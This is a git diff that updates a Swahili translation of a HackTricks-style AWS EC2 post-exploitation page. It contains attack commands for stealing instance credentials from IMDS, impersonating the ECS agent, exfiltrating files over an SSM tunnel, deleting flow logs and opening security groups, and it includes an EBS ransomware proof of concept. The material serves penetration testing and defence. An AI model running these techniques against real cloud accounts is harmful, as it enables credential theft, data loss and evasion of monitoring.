mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+96
-56
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Kwa habari zaidi angalia:
|
||||
Kwa taarifa zaidi angalia:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,10 @@ Kwa habari zaidi angalia:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **hufanya nakala za trafiki zote zinazoingia na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances wenyewe. Trafiki hii iliyodubliwa kwa kawaida ingepelekwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji.\
|
||||
Mshambulizi anaweza kuutumia vibaya hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake:
|
||||
VPC traffic mirroring **inakokopia trafiki ya kuingilio na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances wenyewe. Trafiki iliyokopiwa kawaida hutumwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji.\
|
||||
Mshambuliaji anaweza kutumia hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake:
|
||||
|
||||
Kwa habari zaidi angalia ukurasa huu:
|
||||
Kwa taarifa zaidi angalia ukurasa huu:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances kawaida zina aina fulani ya taarifa nyeti. Kuna njia mbalimbali za kuingia ndani (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuangalia kile kilichomo ni ya **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**:
|
||||
Instances kawaida huwa na aina fulani ya taarifa nyeti. Kuna njia mbalimbali za kuingia ndani (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuona nini inahifadhiwa ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots ni chelezo za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\
|
||||
Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na kufanya hatua zifuatazo au tu **mount it in an instance** ndani ya account:
|
||||
**Snapshots are backups of volumes**, ambayo kwa kawaida zitakuwa na **sensitive information**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\
|
||||
Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na fanya vitendo vifuatavyo au tu **mount it in an instance** ndani ya account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export EC2 AMI moja kwa moja kwenda S3 kwa kutumia `CreateStoreImageTask` ili kupata raw disk image bila kushirikisha snapshot. Hii inaruhusu uchunguzi wa forensiki kamili nje ya mtandao au wizi wa data huku networking ya instance ikibaki isiyoguswa.
|
||||
Export EC2 AMI moja kwa moja kwenda S3 ukitumia `CreateStoreImageTask` ili kupata raw disk image bila snapshot sharing. Hii inaruhusu full offline forensics au data theft huku ikiacha networking ya instance bila kuguswa.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Unganisha io1/io2 Multi-Attach volume kwenye instance ya pili na ui-mount kwa read-only ili kukamata live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach imewezeshwa ndani ya AZ ile ile.
|
||||
Attach io1/io2 Multi-Attach volume kwenye instance ya pili na mount it read-only ili kuhamisha live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach enabled ndani ya AZ ileile.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Tengeneza EC2 Instance Connect Endpoint, ruhusu ingress, na weka ephemeral SSH keys ili kufikia private instances kupitia tunnel inayosimamiwa. Hutoa njia za haraka za lateral movement bila kufungua public ports.
|
||||
Create EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys kufikia private instances kupitia managed tunnel. Hutoa njia za haraka za lateral movement bila kufungua public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Hamisha secondary private IP ya ENI ya victim kwenda ENI inayodhibitiwa na attacker ili kujifanya trusted hosts zinazoorodheshwa kwa IP. Inaruhusu kuepuka ACLs za ndani au SG rules zilizoambatishwa na anwani maalum.
|
||||
Hamisha secondary private IP ya ENI ya victim kwenda ENI inayodhibitiwa na attacker ili kuiga trusted hosts that are allowlisted by IP. Inaruhusu bypassing internal ACLs or SG rules zilizowekwa kwa specific addresses.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Weka upya association ya Elastic IP kutoka instance ya victim kwenda kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazoonekana kuja kutoka kwa IP za umma zilizothibitishwa.
|
||||
Reassociate Elastic IP kutoka kwa victim instance kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazoonekana kuja kutoka trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Ikiwa rule ya security group inarejea customer-managed prefix list, kuongeza attacker CIDRs kwenye list hiyo kunapanua kwa ukimya ufikiaji kwenye kila rule ya SG inayotegemea bila kubadilisha SG yenyewe.
|
||||
Ikiwa security group rule inareference customer-managed prefix list, kuongeza attacker CIDRs kwenye list huipanua silently access kwenye kila dependent SG rule bila kurekebisha SG yenyewe.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Tengeneza gateway au interface VPC endpoints ili kupata tena outbound access kutoka subnets zilizotengwa. Kutumia AWS-managed private links kunavunja controls za IGW/NAT zilizokosekana kwa ajili ya data exfiltration.
|
||||
Create gateway au interface VPC endpoints ili kupata tena outbound access kutoka isolated subnets. Leveraging AWS-managed private links inavuka missing IGW/NAT controls kwa data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Attacker mwenye ruhusa ya ec2:AuthorizeSecurityGroupIngress anaweza kuongeza inbound rules kwa security groups (kwa mfano, kuruhusu tcp:80 kutoka 0.0.0.0/0), hivyo kuonyesha huduma za ndani kwenye public Internet au mitandao isiyoidhinishwa.
|
||||
Attacker mwenye ruhusa ya ec2:AuthorizeSecurityGroupIngress anaweza kuongeza inbound rules kwenye security groups (kwa mfano, allowing tcp:80 from 0.0.0.0/0), hivyo kufichua internal services kwenye public Internet au kwa networks zisizoidhinishwa.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Mshambulizi mwenye ruhusa za ec2:ReplaceNetworkAclEntry (au sawa) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuzifanya ziwe laini sana — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — hivyo kufichua anuwai yote ya subnet kwa Internet au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinawekwa kwa kila instance, NACLs zinawekwa kwenye ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na blast radius kubwa zaidi kwa kuwezesha upatikanaji kwa hosts wengi zaidi.
|
||||
Mshambulizi mwenye ruhusa ya ec2:ReplaceNetworkAclEntry (au inayofanana) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuzifanya ziwe zenye ruhusa nyingi — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — kuwekea wazi anuwai nzima ya subnet kwa Internet au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinatumika per-instance, NACLs zinatumika kwa ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na athari kubwa zaidi kwa kuwezesha ufikiaji kwa hosts wengi zaidi.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
An attacker with ec2:Delete* and iam:Remove* permissions anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Hii inaweza kusababisha kuvurugika kwa huduma mara moja, kupoteza data, na kupoteza ushahidi wa forensiki.
|
||||
Mshambulizi mwenye idhini za ec2:Delete* na iam:Remove* anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes au attachments, security groups au rules, ENIs/network endpoints, route tables, gateways, au managed endpoints. Hii inaweza kusababisha kusitishwa kwa huduma mara moja, kupoteza data, na kupoteza ushahidi wa forensics.
|
||||
|
||||
One example is deleting a security group:
|
||||
Mfano mmoja ni kufuta security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Elekeza VPC Flow Logs kwenye attacker-controlled S3 bucket ili kukusanya metadata ya mtandao (source/destination, ports) nje ya victim account kwa reconnaissance ya muda mrefu.
|
||||
Elekeza VPC Flow Logs kwenye S3 bucket inayodhibitiwa na mshambulizi ili kukusanya metadata ya mtandao (source/destination, ports) kwa mfululizo nje ya akaunti ya mwathiri kwa ajili ya uchunguzi wa muda mrefu.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,9 +150,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Hata ukifunga EC2 ili hakuna trafiki itakayoweza kutoka, bado inaweza **exfil via DNS**.
|
||||
Hata ukifunga EC2 ili trafiki isiweze kutoka, bado inaweza **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs haitayarekodi hili**.
|
||||
- **VPC Flow Logs hazitarekodi hili**.
|
||||
- Huna ufikiaji wa AWS DNS logs.
|
||||
- Zima hili kwa kuweka "enableDnsSupport" kuwa false kwa kutumia:
|
||||
|
||||
@@ -160,22 +160,60 @@ Hata ukifunga EC2 ili hakuna trafiki itakayoweza kutoka, bado inaweza **exfil vi
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
An attacker anaweza kupiga API endpoints za account anayotawaliwa naye. Cloudtrail itarekodi miito hii na attacker ataweza kuona exfiltrate data katika Cloudtrail logs.
|
||||
Mshambulizi anaweza kuita API endpoints za akaunti anayodhibiti. Cloudtrail itarekodi miito hii na mshambulizi ataweza kuona exfiltrated data katika Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Unaweza kupata upatikanaji zaidi wa huduma za mtandao kwa kufungua ports kama hili:
|
||||
Unaweza kupata ufikiaji zaidi wa huduma za mtandao kwa kufungua bandari kama ifuatavyo:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za ECS instances.
|
||||
Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha instances za ECS kisha kuiba data za instances za ECS.
|
||||
|
||||
Kwa [**maelezo zaidi angalia hapa**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Ondoa VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Kudukuliwa ndani ya task yoyote ya ECS inayotokea kwenye EC2 container instance kwa kawaida inatosha ku-pivot kwenda kwenye host role na IAM roles zinazohusiana na tasks zote nyingine kwenye node hiyo. Kwa sababu hakuna task isolation kwa ECS-on-EC2, kila task inaweza kuulizia EC2 Instance Metadata Service (IMDS) kwa default, kuiba container instance profile, kisha kuzungumza protocol ile ile ya WebSocket ambayo ECS agent inatumia kwenda kwenye control plane (primitive ya **ECScape**) ili kuomba credentials za kila task inayopangwa sasa kwenye host hiyo. Latacora ilidokumeta workflow hii katika utafiti wao wa [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), ambayo muhtasari wa kimkakati ufuatao unaiweka kwa ufupi.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Chukua the instance profile kutoka ndani ya container.** Kubali IMDSv2 inahitajika, hivyo omba tokeni kisha pokea profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Tumia container instance role kuiga ECS agent.** Kwa credentials hizo unaweza kuzungumza kwenye channel isiyoandikwa ya WebSocket ambayo ECS agent inatumia; control plane inakuamini kama agent halisi na inakuletea **all task IAM credentials** kwa process yako. Sasa unaweza kuendesha tasks zenye privileges za juu kwa loka, kutoa secrets za environment za task, au kusasisha services/tasks ili kuredeploy workloads ambazo unaweza kuchunguza kikamilifu.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Kuweka IMDSv2 na `HttpTokens=required` na `HttpPutResponseHopLimit=1` kunazuia tu tasks zinazotafuta nyuma ya hop ya ziada (Docker bridge). Mode nyingine za mitandao zinabaki ndani ya hop moja kutoka kwa Nitro controller na bado zinapokea majibu:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Kila task inapewa ENI yake mwenyewe ambayo bado iko umbali wa hop moja kutoka IMDS, hivyo tokeni na majibu ya metadata yanawasili kwa mafanikio. |
|
||||
| `host` | ✅ | Tasks hushiriki host namespace, hivyo zinaona umbali wa hop ule ule kama EC2 instance. |
|
||||
| `bridge` | ❌ | Majibu yanakufa kwenye Docker bridge kwa sababu hop ya ziada inamaliza kikomo cha hop. |
|
||||
|
||||
Kwa hivyo, **usidhani chochote kwamba hop limit 1 inalinda awsvpc au host-mode workloads**—daima jaribu kutoka ndani ya containers zako.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, au marekebisho ya routing hayawezi kuzuia link-local address 169.254.169.254 kwa sababu Nitro inaingiza kwenye host. Angalia `/etc/ecs/ecs.config` kwa `ECS_AWSVPC_BLOCK_IMDS=true`. Ikiwa flag haipo (default) unaweza curl IMDS moja kwa moja kutoka kwenye task. Ikiwa imewekwa, pivot kwa host/agent namespace ili kuirudisha au endesha tooling yako nje ya awsvpc.
|
||||
|
||||
- **bridge mode:** Wakati maombi ya metadata yanashindwa ingawa hop limit 1 imewekwa, defenders labda waliingiza rule ya `DOCKER-USER` ya DROP kama `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Kuorodhesha `iptables -S DOCKER-USER` kunaifunua, na access ya root inakuwezesha kufuta au kurekebisha order ya rule kabla ya kuulizia IMDS.
|
||||
|
||||
- **host mode:** Angalia agent configuration kwa `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Mipangilio hiyo inatoa task IAM roles kabisa, hivyo lazima uiamishe tena, uhamishe kwenda awsvpc tasks, au uibe credentials kupitia process nyingine kwenye host. Wakati thamani ni `true` (default), kila process ya host-mode—ikiwa ni pamoja na containers zilizodukuliwa—inaweza kufikia IMDS isipokuwa kama kuna eBPF/cgroup filters maalum zinazolenga `169.254.169.254`; tazama programu za tc/eBPF au iptables rules zinazotaja address hiyo.
|
||||
|
||||
Latacora pia ilitoa [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) unayoweza kuiweka ndani ya akaunti ya target ili kuorodhesha ni network modes gani bado zinafunua metadata na kupanga hatua yako inayofuata ipasavyo.
|
||||
|
||||
Mara kuelewa ni modes gani zinafunua IMDS unaweza kupanga njia yako ya post-exploitation: lengwa task yoyote ya ECS, omba instance profile, iga agent, na vuna role za kazi nyingine zote kwa movement ya lateral au persistence ndani ya cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -185,52 +223,52 @@ Ruhusa zinazohitajika:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Mbali na utekelezaji wa amri, SSM inaruhusu traffic tunneling ambayo inaweza kutumiwa vibaya kufanya pivot kutoka kwa EC2 instances ambazo hazina ufikaji wa mtandao kwa sababu ya Security Groups au NACLs.
|
||||
Moja ya mazingira ambapo hili ni muhimu ni kufanya pivot kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) kwenda kwenye private EKS cluster.
|
||||
Mbali na command execution, SSM inaruhusu traffic tunneling ambayo inaweza kutumika vibaya ili pivot kutoka kwa EC2 instances ambazo hazina network access kwa sababu ya Security Groups au NACLs.
|
||||
Moja ya matukio ambapo hili linakuwa muhimu ni pivoting kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) kwenda private EKS cluster.
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Ili kuanza session unahitaji SessionManagerPlugin kusakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Sakinisha SessionManagerPlugin kwenye mashine yako
|
||||
2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Pata Bastion EC2 AWS temporary credentials kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Hamisha credentials kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profile `[bastion-ec2]`
|
||||
3. Pata vyeti vya muda vya Bastion EC2 za AWS kwa kutumia script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Hamisha vyeti kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profile `[bastion-ec2]`
|
||||
5. Ingia kwenye EKS kama Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Sasisha kipengee cha `server` katika faili `$HOME/.kube/config` ili kiashirie `https://localhost`
|
||||
7. Unda tuneli ya SSM kama ifuatavyo:
|
||||
6. Sasisha kipengee `server` kwenye faili `$HOME/.kube/config` ili kiielekeze kwa `https://localhost`
|
||||
7. Unda SSM tunnel kama ifuatavyo:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Trafiki kutoka kwa zana ya `kubectl` sasa imepelekwa kupitia tundu la SSM kupitia Bastion EC2, na unaweza kufikia cluster ya kibinafsi ya EKS kutoka kwenye mashine yako mwenyewe kwa kuendesha:
|
||||
8. Trafiki kutoka kwa chombo `kubectl` sasa imepelekwa kupitia tuneli ya SSM, kupitia Bastion EC2, na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kuendesha:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Kwa kuwa trafiki inapitishwa kupitia AWS SSM tunnel iliyo salama, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM.
|
||||
Kumbuka kuwa muunganisho wa SSL hayatofanikiwa isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa nayo katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitia tuneli salama ya AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM.
|
||||
|
||||
Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domeni na bandari yoyote ili ku-pivot kwenda huduma nyingine yoyote ya AWS au programu maalum.
|
||||
Mwisho, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domains na ports yoyote ili ku-pivot kwenda service nyingine yoyote ya AWS au custom application.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Forward ya Port Haraka: Local ↔️ Remote (AWS-StartPortForwardingSession)
|
||||
|
||||
Ikiwa unahitaji tu kupitisha **port moja ya TCP kutoka EC2 instance kwenda local host yako** unaweza kutumia SSM document ya `AWS-StartPortForwardingSession` (hakuna remote host parameter inayohitajika):
|
||||
Ikiwa unahitaji tu ku-forward **port moja ya TCP kutoka EC2 instance hadi localhost yako** unaweza kutumia `AWS-StartPortForwardingSession` SSM document (hakuna parameter ya remote host inahitajika):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Amri inaunda tuneli ya pande mbili kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **without opening any inbound Security-Group rules**.
|
||||
Amri inaunda tunnel yenye mwelekeo wa pande zote kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria yoyote za inbound za Security-Group**.
|
||||
|
||||
Matumizi ya kawaida:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Kwenye instance, anzisha HTTP server ya haraka inayoelekeza kwenye directory unayotaka exfiltrate:
|
||||
1. Kwenye instance, anzisha HTTP server wa muda mfupi unaoonyesha direktori unayotaka exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
@@ -242,7 +280,7 @@ python3 -m http.server 8000
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Kupata maombi ya wavuti za ndani (mf. Nessus)**
|
||||
* **Kupata maombi ya wavuti ya ndani (mfano Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,18 +288,18 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Kidokezo: Kandamiza na encrypt ushahidi kabla ya exfiltrating ili CloudTrail isirekodi clear-text content:
|
||||
Kidokezo: Compress na encrypt ushahidi kabla ya ku-exfiltrating ili CloudTrail isirekodi maudhui wazi (clear-text):
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Kushirikisha AMI
|
||||
### Shiriki AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Tafuta taarifa nyeti katika AMIs za umma na za kibinafsi
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inarahisisha mchakato wa kuanzisha instances kutoka AMIs lengwa, mounting volumes zao, na kukagua kwa uwezekano wa secrets au data nyeti.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inautomatisha mchakato wa kuanzisha instances kutoka kwa AMIs lengwa, mounting volumes zao, na kuchunguza kwa ajili ya potential secrets au data nyeti.
|
||||
|
||||
### Shiriki EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Thibitisho la dhana linalofanana na demo ya Ransomware iliyowasilishwa katika noti za S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS.
|
||||
Proof of concept inayofanana na maonyesho ya Ransomware yaliyotolewa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS.
|
||||
|
||||
Kwanza kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed key katika KMS. Kwa mfano huu tutamwachia AWS kudhibiti key data kwangu, lakini katika senario halisi mwovu angehifadhi key data nje ya udhibiti wa AWS. Badilisha key policy ili kuruhusu Principal yeyote wa akaunti ya AWS kutumia key hiyo. Kwa key policy hii, jina la akaunti lilikuwa 'AttackSim' na rule ya policy inayoruhusu upatikanaji wote inaitwa 'Outside Encryption'
|
||||
Kwanza, kutoka kwenye akaunti ya AWS ya 'attacker', tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutamruhusu AWS kusimamia data ya ufunguo, lakini katika hali halisi mhalifu angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu Principal yeyote wa akaunti ya AWS kutumia ufunguo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +401,7 @@ Kwanza kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed ke
|
||||
]
|
||||
}
|
||||
```
|
||||
Sheria ya key inahitaji yafuatayo ziwe zimewezeshwa ili kuruhusu uwezo wa kuitumia ku-encrypt volume ya EBS:
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +409,21 @@ Sheria ya key inahitaji yafuatayo ziwe zimewezeshwa ili kuruhusu uwezo wa kuitum
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
